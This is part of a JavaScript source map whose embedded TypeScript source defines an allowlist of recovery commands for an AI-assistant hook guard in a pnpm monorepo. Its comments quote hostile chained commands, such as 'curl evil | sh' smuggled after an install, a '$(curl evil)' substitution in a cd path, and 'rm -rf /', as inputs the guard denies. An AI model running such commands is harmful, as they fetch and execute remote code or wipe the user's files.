,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,GAAG,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;AAC3G,MAAM,YAAY,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,EAAE,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAExG,uGAAuG;AACvG,sGAAsG;AACtG,2CAA2C;AAC9B,QAAA,YAAY,GACrB,sBAAsB,GAAG,GAAG,GAAG,aAAa,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,wBAAgB,CAAC;AAEpF,iGAAiG;AACjG,gDAAgD;AAChD,EAAE;AACF,oGAAoG;AACpG,qGAAqG;AACrG,sGAAsG;AACtG,+FAA+F;AAC/F,gFAAgF;AACnE,QAAA,eAAe,GAAG,oBAAY,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;AAErE,qFAAqF;AACxE,QAAA,WAAW,GACpB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEjG,4FAA4F;AAC5F,EAAE;AACF,2FAA2F;AAC3F,uGAAuG;AACvG,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,yFAAyF;AAC5E,QAAA,UAAU,GAAwB,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;AAEjE;;;;;;;;GAQG;AACH,iMAAiM;AACjM,SAAgB,SAAS,CAAC,QAAgB,EAAE,OAAe,EAAE,QAAgB;IACzE,IAAI,kBAAU,CAAC,GAAG,CAAC,QAAQ,CAAC;QAAE,OAAO,MAAM,CAAC;IAC5C,IAAI,IAAI,CAAC,QAAQ,CAAC,QAAQ,CAAC,KAAK,8BAAe;QAAE,OAAO,MAAM,CAAC;IAC/D,IAAI,mBAAW,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;QAAE,OAAO,OAAO,CAAC;IACrD,OAAO,IAAI,CAAC;AAChB,CAAC","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (six named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to all six, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its six faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the six\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n *\n * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny\n * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that\n * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.\n */\nexport class L0AllowEntry {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n readonly extraSamples: readonly L0Call[] = [],\n ) {}\n\n /** Every call this entry pins: the canonical sample plus every extra spelling. */\n allSamples(): readonly L0Call[] {\n return [this.sample, ...this.extraSamples];\n }\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
1
